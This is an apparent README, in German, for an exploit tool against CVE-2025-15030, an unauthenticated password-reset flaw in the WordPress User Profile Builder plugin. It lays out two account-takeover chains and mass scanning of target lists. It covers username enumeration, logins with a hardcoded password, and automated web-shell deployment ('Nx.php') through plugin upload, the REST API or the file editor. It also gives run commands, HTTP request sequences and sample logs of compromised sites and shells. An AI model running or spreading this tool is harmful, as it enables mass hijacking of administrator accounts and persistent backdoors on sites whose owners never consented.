
User Profile Builder < 3.15.2 - Nicht authentifiziertes, beliebiges Zurücksetzen von Passwörtern
User Profile Builder < 3.15.2 - Nicht authentifiziertes Zurücksetzen beliebiger Passwörter
____ _ _____ ____ ____ ____ ____ _ ____ ____ _____ ____
/ _\/ \ |\/ __/ /_ \/ _ \/_ \/ ___\ / \/ ___\/ _ \\__ \/ _ \
| / | | //| \ _____ / /| / \| / /| \_____ | || \| / \| / || / \|
| \__| \// | /_\____\/ /_| \_/|/ /_\___ |\____\| |\___ || \_/| _\ || \_/|
\____/\__/ \____\ \____/\____/\____/\____/ \_/\____/\____//____/\____/
| Feld | Detail |
|---|---|
| CVE | CVE-2025-15030 |
| CVSS | 9.8 KRITISCH — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Plugin | User Profile Builder für WordPress |
| Betroffen | Alle Versionen vor 3.15.2 |
| Auth | Keine erforderlich |
| Typ | Fehlerhafter Passwort-Reset — Nicht authentifizierte Kontoübernahme |
| CWE | CWE-640 · Schwacher Passwort-Wiederherstellungsmechanismus |
Grundursache:
Der Passwort-Wiederherstellungsablauf des Profile-Builder-Plugins (action2=recover_password2) validiert den Reset-Schlüssel nicht ordnungsgemäß und erzwingt keinen Token-Ablauf. Durch das Senden eines manipulierten POST mit einem gültigen password_recovery_nonce_field2, das aus der Reset-Seite extrahiert wurde, kann ein nicht authentifizierter Angreifer ein neues Passwort für jeden WordPress-Benutzer festlegen — einschließlich Administratoren — und benötigt dafür nur den Benutzernamen. Es ist weder eine E-Mail-Interaktion noch ein gültiges Reset-Token erforderlich.
Dieses Tool implementiert zwei unabhängige Angriffsketten gegen jedes Ziel, jeweils gefolgt von optionaler Shell-Bereitstellung:
┌────────────────────────────────────────────────────────────────────┐
│ CHAIN 1 · CORE (wp-login native reset abuse) │
│ │
│ POST /wp-login.php?action=lostpassword (trigger reset) │
│ GET /wp-login.php?action=rp&key=... (follow reset link) │
│ POST /wp-login.php?action=resetpass (inject new password) │
│ Enumerate usernames → brute strict login → verify /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ CHAIN 2 · PB (Profile Builder reset-from-link) │
│ │
│ Load reset URLs from pb_reset_links.txt │
│ GET <reset_url> → extract nonce + userData │
│ POST action2=recover_password2 → set new password │
│ Strict login → verify /wp-admin/ access │
├───────────────────────────────────────────────────────────��────────┤
│ SHELL UPLOAD (runs after any confirmed admin hit) │
│ │
│ Method 1 → plugin-install.php upload (Nxploited.zip) │
│ Method 2 → REST API /wp-json/wp/v2/plugins │
│ Method 3 → Plugin/Theme editor (write Nx.php directly) │
│ Verify → GET /wp-content/plugins/Nxploited/Nx.php │
│ Log → scan_results/shells.txt │
└────────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0
Lege Nxploited.zip in das gleiche Verzeichnis wie das Skript, um den Shell-Upload zu aktivieren. Das Tool funktioniert auch ohne die Datei, aber die Shell-Bereitstellung wird dann übersprungen.
python3 CVE-2025-15030.py
Targets list file (one URL per line): list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Output file for core wp-login reset successes: scan_results/wp_login_reset_success.txt
Output file for Nxploited shells: scan_results/shells.txt
Profile Builder reset links file (optional): pb_reset_links.txt
Das Passwort, das für alle Reset- und Login-Versuche verwendet wird, ist intern festgelegt:
Nxploited_adminSA
list.txt — Ziele (erforderlich)https://target1.com
target2.com
http://target3.com/wordpress
pb_reset_links.txt — Profile-Builder-Reset-Links (optional)Wenn du Passwort-Reset-E-Mail-Links von Profile Builder erfasst hast, füge sie hier ein, eine pro Zeile. Das Tool wird:
password_recovery_nonce_field2 + userData extrahierenaction2=recover_password2 übermittelnhttps://target1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://target2.com/?page_id=5&action=recover_password&key=XYZ&login=editor
Das Tool ermittelt WordPress-Benutzernamen automatisch mit drei Methoden, bevor es einen Login versucht:
| Methode | Endpunkt |
|---|---|
| Autor-Weiterleitung | /?author=1 → /?author=10 |
| REST-API | /wp-json/wp/v2/users |
| Hostname-Heuristik | Erstes Label des Domainnamens |
| Standard-Fallback | admin immer enthalten |
Jeder Login-Versuch wird vor dem Schreiben der Ergebnisse strikt verifiziert. Das Tool prüft:
/wp-admin/index.php → id="adminmenu", id="wpadminbar"
/wp-admin/users.php → users.php indicator
/wp-admin/plugins.php → plugins.php indicator
/wp-admin/plugin-install.php → upload-plugin, plugin-install-tab
Ein Ergebnis wird nur dann auf die Festplatte geschrieben, wenn ≥ 3 Admin-Marker bestätigt sind.
Nach einer bestätigten Admin-Sitzung versucht das Tool nacheinander drei Eskalationsmethoden anzuwenden:
| Methode | Endpunkt | Auslöser |
|---|---|---|
| Plugin-Upload | /wp-admin/update.php?action=upload-plugin | Lädt Nxploited.zip über das Installationsformular hoch |
| REST-API | /wp-json/wp/v2/plugins | Direkter ZIP-POST |
| Editor-Schreiben | /wp-admin/plugin-editor.php | Schreibt Nx.php über den Datei-Editor |
Shell-Verifizierung: GET /wp-content/plugins/Nxploited/Nx.php → HTTP 200
| Datei | Inhalt |
|---|---|
scan_results/wp_login_reset_success.txt | Bestätigte Admin-Treffer über die CORE-Kette |
scan_results/shells.txt | Bereitgestellte Shell-URLs mit Anmeldedaten |
wp_login_reset_success.txt
[2025-06-01T14:22:10] https://target.com | https://target.com/wp-login.php | account=admin pass=Nxploited_adminSA
shells.txt
[2025-06-01 14:22:18] https://target.com - admin:Nxploited_adminSA - SHELL: https://target.com/wp-content/plugins/Nxploited/Nx.php
[host] https://target.com
CORE: KEY=OK , RESET=OK , ACCESS=1 |
PB: KEY=FAIL, RESET=FAIL, ACCESS=0 |
SHELL: OK | LOGIN: https://target.com/wp-login.php